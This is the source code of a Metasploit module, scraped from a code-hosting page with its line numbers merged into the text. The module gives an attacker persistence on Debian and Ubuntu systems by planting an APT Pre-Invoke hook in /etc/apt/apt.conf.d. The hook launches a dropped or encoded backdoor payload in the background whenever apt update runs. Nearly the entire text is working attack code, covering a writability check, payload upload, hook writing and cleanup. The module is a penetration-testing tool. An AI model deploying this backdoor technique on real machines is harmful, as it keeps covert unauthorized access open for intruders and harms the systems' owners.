Path: blob/master/modules/exploits/linux/persistence/apt_package_manager.rb
21839 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Exploit::EXE9include Msf::Exploit::FileDropper10include Msf::Post::File11include Msf::Post::Linux::System12include Msf::Exploit::Local::Persistence13prepend Msf::Exploit::Remote::AutoCheck14include Msf::Exploit::Deprecated15moved_from 'exploits/linux/local/apt_package_manager_persistence'1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'APT Package Manager Persistence',22'Description' => %q{23This module will run a payload when the APT package manager is used.24This module creates a pre-invoke hook for APT in apt.conf.d. Write access25to the apt.conf.d directory is required, typically requiring root access.26The hook name is randomized if not specified.27Verified on Ubuntu 22.0428},29'License' => MSF_LICENSE,30'Author' => ['Aaron Ringo'],31'Platform' => ['linux', 'unix'],32'Arch' => [33ARCH_CMD,34ARCH_X86,35ARCH_X64,36ARCH_ARMLE,37ARCH_AARCH64,38ARCH_PPC,39ARCH_MIPSLE,40ARCH_MIPSBE41],42'SessionTypes' => ['shell', 'meterpreter'],43'DisclosureDate' => '1999-03-09', # Date APT package manager was included in Debian44'References' => ['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'],45'Targets' => [['Automatic', {}]],46'Privileged' => true,47'DefaultTarget' => 0,48'Notes' => {49'Stability' => [CRASH_SAFE],50'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],51'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]52}53)54)5556register_options(57[58OptString.new('HOOKNAME', [false, 'Name of hook file to write']),59OptString.new('PAYLOAD_NAME', [false, 'Name of binary to write']),60OptString.new('HOOKPATH', [true, 'The directory where the apt configurations are located', '/etc/apt/apt.conf.d/'])61]62)63end6465def check66return CheckCode::Safe('apt-get not found, likely not an apt based system') unless command_exists?('apt-get')67return CheckCode::Safe("#{datastore['HOOKPATH']} not found") unless exists?(datastore['HOOKPATH'])68return CheckCode::Safe("#{datastore['HOOKPATH']} not writable") unless writable?(datastore['HOOKPATH'])6970print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')71return CheckCode::Safe("#{writable_dir} not found") unless exists?(writable_dir)72return CheckCode::Safe("#{writable_dir} not writable") unless writable?(writable_dir)7374CheckCode::Appears("#{datastore['HOOKPATH']} and #{writable_dir} are writable, also found apt-get.")75end7677def install_persistence78fail_with Failure::BadConfig, "#{datastore['HOOKPATH']} not writable, or APT is not on system" unless writable?(datastore['HOOKPATH'])79hook_path = datastore['HOOKPATH']80hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")8182if payload.arch.first == 'cmd'83hook_script = %(APT::Update::Pre-Invoke {"setsid #{payload.encoded} 2>/dev/null &"};)84else85payload_path = writable_dir86payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"87payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)88payload_path << payload_name89write_file(payload_path, generate_payload_exe)90fail_with Failure::Unknown, "Failed to write #{payload_path}" unless exist?(payload_path)91print_status("Backdoor uploaded #{payload_path}")92# permissions chosen to reflect common perms in /usr/local/bin/93chmod(payload_path, 0o755)9495print_status('Attempting to write hook')96hook_script = %(APT::Update::Pre-Invoke {"setsid #{payload_path} 2>/dev/null &"};)97@clean_up_rc << "rm #{payload_path}\n"98end99write_file(datastore['HOOKPATH'], hook_script)100101fail_with Failure::Unknown, 'Failed to write Hook' unless exist?(datastore['HOOKPATH'])102103print_status("Wrote #{datastore['HOOKPATH']}")104105print_good('Backdoor will run on next APT update')106107@clean_up_rc << "rm #{datastore['HOOKPATH']}\n"108end109end110111112